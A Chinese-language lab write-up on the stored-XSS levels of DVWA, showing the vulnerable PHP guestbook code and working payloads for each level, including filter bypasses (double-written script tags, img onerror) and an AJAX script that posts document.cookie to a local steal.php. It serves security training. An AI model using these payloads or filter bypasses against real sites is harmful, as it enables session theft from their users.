总结了dvwa中的存储型xss关卡
Low
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
session_start(); setcookie('security','low',time()+3600); include("../sql-connection.php");
if(isset($_POST['btnSign'])){ $name=trim($_POST['txtName']); $message=trim($_POST['mtxMessage']); $message=stripslashes($message); $message=mysql_real_escape_string($message); $name=mysql_real_escape_string($name); $sql="INSERT INTO guestbook (comment,name) VALUES ('$message','$name')"; $result=mysql_query($sql) or die(mysql_error()); }
if(isset($_POST['btnClear'])){ $sql="DELETE FROM guestbook"; $result=mysql_query($sql); }
$sql="SELECT name,comment FROM guestbook"; $result=mysql_query($sql); while($row=mysql_fetch_assoc($result)){ echo "Name:".$row['name']."<br>"; echo "Message:".$row['comment']."<br>"; }
mysql_close();
?>
|
从代码可以看出将我们POST的name和message写入数据库,并且原原本本的输出存入数据库的name和message,所以很明显存在xss漏洞,这种属于存储型的xss,先将恶意脚本代码存入数据库中,然后用户每次访问网页时都会执行一次恶意代码
我们在name中输入
1
| <script>alert(“xss”)</script>
|
再次刷新页面依然会跳出提示框
那么我们再按反射型xss关卡中的通过存入
1
| <script src=”http://127.0.0.1/demo/xss(reflected)/cookie.js”></script>
|
来跳转到steal.php
再将cookie值存入数据库的方法试一下
发现成功写入cookie值
但是再次刷新进入页面时,每次都会跳转回steal.php,并写入一次cookie值,这难免会引起用户的怀疑
这里可以采用ajax技术,即创建一个用javascript代码创建一个XMLHttpRequest对象,这个对象可以在后台与服务器交换数据,就不需要跳转到steal.php了
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| var url = "http://127.0.0.1/demo/xss(reflected)/steal.php"; var postStr = "data="+document.cookie; var ajax = null; if (window.XMLHttpRequest) { ajax = new XMLHttpRequest(); } else if (window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else { ajax=null; } ajax.open("POST", url, true); ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr);
|
然后POST
每次访问页面都会讲cookie值写入数据库
Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
session_start(); setcookie('security','medium',time()+3600); include("../sql-connection.php");
if(isset($_POST['btnSign'])){ $message=trim($_POST['mtxMessage']); $name=trim($_POST['txtName']); $message=strip_tags($message); $message=mysql_real_escape_string($message); $message=htmlspecialchars($message); $name=mysql_real_escape_string($name); $name=str_replace('<script>','',$name); $sql="INSERT INTO guestbook(comment,name) VALUES ('$message','$name')"; $result=mysql_query($sql); }
if(isset($_POST['btnClear'])){ $sql="DELETE FROM guestbook"; $result=mysql_query($sql); }
$sql="SELECT name,comment FROM guestbook"; $result=mysql_query($sql); while($row=mysql_fetch_assoc($result)){ echo "Name:".$row['name']."<br>"; echo "Message:".$row['comment']."<br>"; }
?>
|
可以看出这关对message进行了丢弃标签的过滤,而且使用了htmlspecialchars这个函数,这个函数可以使html标签实体化,让标签不再是标签,完全防止了xss注入,所以这关只能在name注入,但是name同时也过滤了script标签,但是没事,跟之前关卡一样,我们可以采用双写绕过过滤
在name中输入
1
| <s<script>cript>alert(‘xss’)</script>
|
成功弹窗
那么继续思考如何窃取cookie,答案就是双写
输入
1
| <s<script>cript src=’cookie.js’></script>
|
成功窃取到cookie值
High
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
session_start(); setcookie('security','high',time()+3600); include("../sql-connection.php");
if(isset($_POST['btnSign'])){ $message=trim($_POST['mtxMessage']); $name=trim($_POST['txtName']); $message=strip_tags($message); $message=mysql_real_escape_string($message); $message=htmlspecialchars($message); $name=mysql_real_escape_string($name); $name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$name); $sql="INSERT INTO guestbook(comment,name) VALUES ('$message','$name')"; $result=mysql_query($sql); }
if(isset($_POST['btnClear'])){ $sql="DELETE FROM guestbook"; $result=mysql_query($sql); }
$sql="SELECT name,comment FROM guestbook"; $result=mysql_query($sql); while($row=mysql_fetch_assoc($result)){ echo "Name:".$row['name']."<br>"; echo "Message:".$row['comment']."<br>"; }
?>
|
这里对name进行了正则匹配过滤掉了包含按顺序的<,s,c,r,i,p,t字符组成的字符串,所以这里只能通过触发onerror事件来执行js代码
通过加载图片过程发生异常触发onerror事件
在name中输入
1
| <image src=# onerror=(alert(‘xss’))>
|
输入
1
| <img src=# onerror='var url="http://127.0.0.1/demo/xss(reflected)/steal.php";var postStr="data="+document.cookie;var ajax=null;if(window.XMLHttpRequest){ajax=new XMLHttpRequest();}else if(window.ActiveXObject){ajax=new ActiveXObject("Microsoft.XMLHTTP");}else{ajax=null;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.send(postStr);'>
|
将ajax代码执行,将cookie值POST到steal.php
但在输入之前,我们应该先改一下数据列name的长度,之前设定长度为100,但是我们输入的明显超过了100,在mysql命令行输入
1
| alter table guestbook modify name varchar(500);
|
成功窃取到cookie值